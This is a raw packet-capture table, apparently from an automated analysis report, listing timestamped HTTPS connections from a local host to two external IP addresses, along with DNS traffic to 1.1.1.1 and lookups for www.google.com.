Dec 3, 2024 15:33:26.469192982 CET	49914	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.469219923 CET	443	49914	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.469647884 CET	49914	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.469659090 CET	443	49914	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.470082045 CET	49916	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:26.470096111 CET	443	49916	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:26.470551968 CET	443	49916	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:26.471026897 CET	49916	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:26.471098900 CET	443	49916	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:26.471276045 CET	49916	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:26.513051987 CET	443	49915	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:26.515333891 CET	443	49916	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:26.560224056 CET	49915	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:26.677109957 CET	443	49913	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.680289030 CET	443	49913	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.680361986 CET	49913	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.693687916 CET	49915	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:26.693705082 CET	443	49915	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:26.694535971 CET	49913	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.694556952 CET	443	49913	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.694993019 CET	49913	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.695000887 CET	443	49913	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.695017099 CET	443	49915	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:26.695074081 CET	49915	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:26.696274042 CET	49915	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:26.696343899 CET	443	49915	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:26.700267076 CET	49920	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.700319052 CET	443	49920	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.700402975 CET	49920	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.700828075 CET	49920	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.700841904 CET	443	49920	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.745682955 CET	49915	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:26.745708942 CET	443	49915	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:26.791218996 CET	49915	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:26.850227118 CET	443	49914	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.850306988 CET	443	49914	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.850368023 CET	49914	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.850709915 CET	49914	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.850739002 CET	443	49914	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.850747108 CET	49914	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.850753069 CET	443	49914	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.855231047 CET	49921	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.855289936 CET	443	49921	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:26.855370998 CET	49921	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.855576992 CET	49921	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:26.855592966 CET	443	49921	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:27.542066097 CET	443	49917	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:27.542926073 CET	49917	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:27.542967081 CET	443	49917	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:27.543565035 CET	49917	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:27.543586969 CET	443	49917	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:27.788721085 CET	443	49918	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:27.789558887 CET	49918	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:27.789587975 CET	443	49918	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:27.790060043 CET	49918	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:27.790065050 CET	443	49918	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:27.981506109 CET	443	49917	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:27.984729052 CET	443	49917	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:27.984950066 CET	49917	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:27.984998941 CET	49917	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:27.985018015 CET	443	49917	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:27.988979101 CET	49922	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:27.989026070 CET	443	49922	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:27.989125013 CET	49922	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:27.989331007 CET	49922	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:27.989343882 CET	443	49922	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:27.989643097 CET	443	49919	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:27.990120888 CET	49919	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:27.990151882 CET	443	49919	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:27.990597010 CET	49919	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:27.990607977 CET	443	49919	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.243869066 CET	443	49918	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.246912956 CET	443	49918	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.246970892 CET	443	49918	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.247028112 CET	49918	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.247028112 CET	49918	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.247133017 CET	49918	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.247133017 CET	49918	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.247153997 CET	443	49918	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.247164011 CET	443	49918	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.250644922 CET	49923	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.250686884 CET	443	49923	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.250813961 CET	49923	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.250986099 CET	49923	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.250997066 CET	443	49923	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.434309006 CET	443	49919	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.437668085 CET	443	49919	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.437789917 CET	49919	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.437844992 CET	49919	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.437860012 CET	443	49919	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.437876940 CET	49919	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.437882900 CET	443	49919	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.441291094 CET	49924	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.441387892 CET	443	49924	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.441493988 CET	49924	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.441677094 CET	49924	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.441713095 CET	443	49924	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.546252966 CET	443	49920	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.547055960 CET	49920	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.547080994 CET	443	49920	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.547564030 CET	49920	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.547570944 CET	443	49920	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.727072954 CET	443	49921	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.727859020 CET	49921	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.727912903 CET	443	49921	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:28.729145050 CET	49921	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:28.729156971 CET	443	49921	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.160522938 CET	443	49920	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.210843086 CET	49920	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.210884094 CET	443	49920	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.211146116 CET	49920	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.211158037 CET	443	49920	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.211178064 CET	49920	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.211400986 CET	443	49920	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.211442947 CET	443	49920	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.211483955 CET	49920	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.215500116 CET	49925	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.215543985 CET	443	49925	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.215627909 CET	49925	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.215831041 CET	49925	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.215843916 CET	443	49925	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.276985884 CET	443	49921	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.277070999 CET	443	49921	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.277215004 CET	49921	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.277375937 CET	49921	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.277393103 CET	443	49921	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.277405977 CET	49921	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.277412891 CET	443	49921	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.280550957 CET	49926	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.280591011 CET	443	49926	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.280709982 CET	49926	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.280863047 CET	49926	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.280873060 CET	443	49926	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.838016033 CET	443	49922	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.839510918 CET	49922	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.839556932 CET	443	49922	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.840512991 CET	49922	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.840528011 CET	443	49922	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.976900101 CET	443	49923	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.977655888 CET	49923	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.977750063 CET	443	49923	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:29.978205919 CET	49923	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:29.978230000 CET	443	49923	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.237704039 CET	443	49924	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.238426924 CET	49924	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.238527060 CET	443	49924	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.239172935 CET	49924	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.239190102 CET	443	49924	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.292155027 CET	443	49922	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.296014071 CET	443	49922	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.296072960 CET	49922	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.296078920 CET	443	49922	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.296134949 CET	49922	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.296247005 CET	49922	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.296271086 CET	443	49922	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.296288967 CET	49922	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.296295881 CET	443	49922	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.301064968 CET	49927	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.301122904 CET	443	49927	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.301194906 CET	49927	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.301358938 CET	49927	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.301373005 CET	443	49927	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.417399883 CET	443	49923	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.419742107 CET	443	49923	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.419812918 CET	49923	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.419857979 CET	49923	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.419877052 CET	443	49923	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.419888020 CET	49923	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.419894934 CET	443	49923	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.423108101 CET	49928	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.423151016 CET	443	49928	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.423222065 CET	49928	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.423404932 CET	49928	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.423415899 CET	443	49928	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.682723999 CET	443	49924	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.686053991 CET	443	49924	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.686125040 CET	49924	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.686129093 CET	443	49924	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.686180115 CET	49924	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.686244011 CET	49924	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.686265945 CET	443	49924	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.686289072 CET	49924	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.686295986 CET	443	49924	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.689732075 CET	49929	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.689773083 CET	443	49929	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:30.689923048 CET	49929	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.690071106 CET	49929	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:30.690084934 CET	443	49929	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.018978119 CET	443	49925	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.019541025 CET	49925	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.019576073 CET	443	49925	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.020792961 CET	49925	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.020798922 CET	443	49925	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.067012072 CET	443	49926	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.068012953 CET	49926	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.068049908 CET	443	49926	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.068526983 CET	49926	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.068535089 CET	443	49926	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.465948105 CET	443	49925	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.468470097 CET	443	49925	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.468574047 CET	49925	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.468617916 CET	49925	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.468638897 CET	443	49925	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.468651056 CET	49925	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.468657017 CET	443	49925	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.472296953 CET	49930	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.472338915 CET	443	49930	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.472434044 CET	49930	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.472659111 CET	49930	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.472671986 CET	443	49930	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.515115976 CET	443	49926	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.515142918 CET	443	49926	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.515266895 CET	49926	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.515306950 CET	443	49926	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.515775919 CET	49926	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.515794992 CET	443	49926	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.515804052 CET	49926	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.515959024 CET	443	49926	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.515993118 CET	443	49926	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.516036034 CET	49926	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.519604921 CET	49931	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.519642115 CET	443	49931	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:31.519727945 CET	49931	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.519939899 CET	49931	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:31.519953966 CET	443	49931	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.185254097 CET	443	49927	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.185868025 CET	49927	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.185880899 CET	443	49927	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.186460972 CET	49927	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.186465979 CET	443	49927	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.219033003 CET	443	49928	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.219659090 CET	49928	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.219691992 CET	443	49928	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.220330000 CET	49928	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.220335960 CET	443	49928	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.517642021 CET	443	49929	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.518296003 CET	49929	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.518312931 CET	443	49929	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.519017935 CET	49929	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.519026041 CET	443	49929	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.727642059 CET	443	49928	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.727679968 CET	443	49928	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.727739096 CET	49928	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.727741003 CET	443	49928	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.727819920 CET	49928	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.728082895 CET	49928	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.728102922 CET	443	49928	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.728132010 CET	49928	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.728138924 CET	443	49928	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.732774973 CET	49932	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.732814074 CET	443	49932	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.732961893 CET	49932	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.733115911 CET	49932	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.733124971 CET	443	49932	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.986228943 CET	443	49929	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.989203930 CET	443	49929	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.989269018 CET	49929	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.989377022 CET	49929	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.989396095 CET	443	49929	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.993302107 CET	49933	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.993338108 CET	443	49933	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:32.993402004 CET	49933	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.993643045 CET	49933	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:32.993654013 CET	443	49933	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.025933981 CET	443	49927	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.025962114 CET	443	49927	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.026016951 CET	49927	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.026037931 CET	443	49927	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.026331902 CET	443	49927	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.026350975 CET	49927	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.026370049 CET	443	49927	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.026384115 CET	49927	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.026391029 CET	443	49927	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.026407957 CET	49927	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.026412010 CET	443	49927	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.030668020 CET	49934	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.030714035 CET	443	49934	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.030905962 CET	49934	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.031627893 CET	49934	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.031644106 CET	443	49934	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.058445930 CET	443	49916	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:33.058521032 CET	443	49916	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:33.058568954 CET	49916	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:33.274374962 CET	443	49931	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.274997950 CET	49931	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.275012016 CET	443	49931	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.275616884 CET	49931	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.275624037 CET	443	49931	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.291129112 CET	443	49930	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.291879892 CET	49930	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.291914940 CET	443	49930	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.292236090 CET	49930	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.292244911 CET	443	49930	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.710632086 CET	443	49931	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.710716009 CET	443	49931	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.711019039 CET	49931	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.711170912 CET	49931	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.711170912 CET	49931	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.711186886 CET	443	49931	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.711196899 CET	443	49931	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.714633942 CET	49935	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.714664936 CET	443	49935	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:33.714737892 CET	49935	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.714896917 CET	49935	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:33.714911938 CET	443	49935	13.107.246.63	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 15:32:08.527365923 CET	53	61197	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:08.556890011 CET	53	58836	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:11.306396961 CET	53	56537	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:12.393148899 CET	54001	53	192.168.2.9	1.1.1.1
Dec 3, 2024 15:32:12.393299103 CET	57647	53	192.168.2.9	1.1.1.1
Dec 3, 2024 15:32:12.530746937 CET	53	57647	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:12.530764103 CET	53	54001	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:14.484781981 CET	62565	53	192.168.2.9	1.1.1.1
Dec 3, 2024 15:32:14.485029936 CET	50711	53	192.168.2.9	1.1.1.1
Dec 3, 2024 15:32:15.043442965 CET	53	62565	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:15.043457031 CET	53	50711	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:17.474132061 CET	64281	53	192.168.2.9	1.1.1.1
Dec 3, 2024 15:32:17.474589109 CET	52173	53	192.168.2.9	1.1.1.1
Dec 3, 2024 15:32:17.864474058 CET	53	64281	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:17.864511967 CET	53	52173	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:20.396265984 CET	62127	53	192.168.2.9	1.1.1.1
Dec 3, 2024 15:32:20.396429062 CET	52295	53	192.168.2.9	1.1.1.1
Dec 3, 2024 15:32:20.966741085 CET	53	52295	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:20.967752934 CET	53	62127	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:28.322088957 CET	53	49863	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:32.628184080 CET	49699	53	192.168.2.9	1.1.1.1
Dec 3, 2024 15:32:32.628350973 CET	57695	53	192.168.2.9	1.1.1.1
Dec 3, 2024 15:32:32.766371012 CET	53	49699	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:32.767389059 CET	53	57695	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:47.259720087 CET	53	54100	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:49.264790058 CET	53	64602	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:52.346719980 CET	53	60479	1.1.1.1	192.168.2.9
Dec 3, 2024 15:32:56.922806978 CET	138	138	192.168.2.9	192.168.2.255
Dec 3, 2024 15:33:08.147358894 CET	53	55350	1.1.1.1	192.168.2.9
Dec 3, 2024 15:33:09.869513035 CET	53	50675	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 15:32:12.393148899 CET	192.168.2.9	1.1.1.1	0xcd7b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:32:12.393299103 CET	192.168.2.9	1.1.1.1	0x1154	Standard query (0)	www.google.com	65	IN (0x0001)	false
